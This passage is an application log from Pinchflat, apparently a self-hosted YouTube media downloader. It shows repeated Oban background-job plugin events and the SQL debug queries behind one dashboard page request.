{"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:31:18.195 [info] {"source":"oban","duration":1733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:48.198 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:00.565 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:32:18.200 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:48.201 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:00.566 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:33:18.203 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:48.204 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:00.567 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:34:18.206 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:48.207 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:00.567 [info] {"source":"oban","duration":169,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:35:18.208 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:48.209 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:00.569 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:36:18.210 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:48.211 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:00.570 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:37:18.212 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:48.213 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:00.571 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:38:18.214 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:48.215 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:00.572 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:39:18.216 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:48.217 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:00.573 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:40:18.218 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:48.219 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:00.574 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:41:18.220 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:48.221 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:00.575 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:42:18.222 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:48.223 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:00.576 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:43:18.224 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:48.225 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:00.578 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:44:18.226 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:48.227 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:00.579 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:45:18.228 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:48.229 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:00.580 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:46:18.230 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:48.231 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:00.581 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:47:18.232 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:45.730 [info] GET / 03:47:45.730 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 03:47:45.731 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=716.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:47:45.732 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=6.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 03:47:45.732 [debug] QUERY OK source="sources" db=0.2ms idle=6.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 03:47:45.733 [debug] QUERY OK source="media_items" db=0.4ms idle=6.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:47:45.734 [debug] QUERY OK source="media_items" db=0.3ms idle=7.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:47:45.734 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:47:45.735 [debug] QUERY OK source="settings" db=0.2ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:47:45.736 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:47:45.738 [debug] QUERY OK source="tasks" db=0.4ms idle=3.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 03:47:45.738 [debug] QUERY OK source="sources" db=0.0ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 03:47:45.739 [debug] QUERY OK source="media_items" db=0.1ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:47:45.739 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 03:47:45.739 [debug] QUERY OK source="sources" db=0.1ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 03:47:45.740 [debug] QUERY OK source="media_items" db=0.1ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 03:47:45.741 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 03:47:45.741 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 03:47:45.742 [info] Sent 200 in 11ms 03:47:48.233 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:00.582 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:48:18.234 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:48.235 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:00.583 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:49:18.236 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:48.237 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:00.584 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:50:18.238 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:48.239 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:00.585 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:51:18.240 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:48.241 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:00.585 [info] {"source":"oban","duration":186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:52:18.242 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:48.243 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:00.586 [info] {"source":"oban","duration":144,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:53:18.244 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:48.245 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:00.587 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:54:18.246 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:48.247 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:00.588 [info] {"source":"oban","duration":214,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:55:18.248 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:48.249 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:00.590 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:56:18.250 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:48.251 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:00.591 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:57:18.252 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:48.253 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:00.592 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:58:18.254 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:48.255 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:00.593 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:59:18.256 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:48.257 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:00.594 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:00:18.258 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:48.259 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:00.594 [info] {"source":"oban","duration":184,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:01:18.260 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:48.261 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:00.596 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:02:18.262 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:48.263 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:00.597 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:03:18.264 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:48.265 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:00.598 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:04:18.266 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:48.267 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:00.599 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:05:18.268 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:48.269 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:00.599 [info] {"source":"oban","duration":156,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:06:18.270 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:48.271 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:00.601 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:07:18.272 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:48.273 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:00.602 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:08:18.274 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:48.275 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:00.603 [info] {"source":"oban","duration":209,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:09:18.276 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:48.277 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:00.603 [info] {"source":"oban","duration":181,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:10:18.278 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:48.279 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:00.605 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:11:18.280 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:48.281 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:00.605 [info] {"source":"oban","duration":149,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:12:18.282 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:48.283 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:00.607 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:13:18.284 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:48.285 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:00.608 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:14:18.286 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:48.287 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:00.609 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:15:18.288 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:48.289 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:00.610 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:16:18.290 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:48.291 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:00.611 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:17:18.292 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:48.293 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:00.612 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:18:18.294 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:48.295 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:00.613 [info] {"source":"oban","duration":218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:19:18.296 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:48.297 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:00.614 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:20:18.298 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:48.299 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:00.615 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:21:18.301 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:48.302 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:00.616 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:22:18.303 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:48.304 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:00.617 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:23:18.305 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:48.307 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:00.618 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:24:18.308 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:48.309 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:00.619 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:25:18.310 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:48.311 [info] 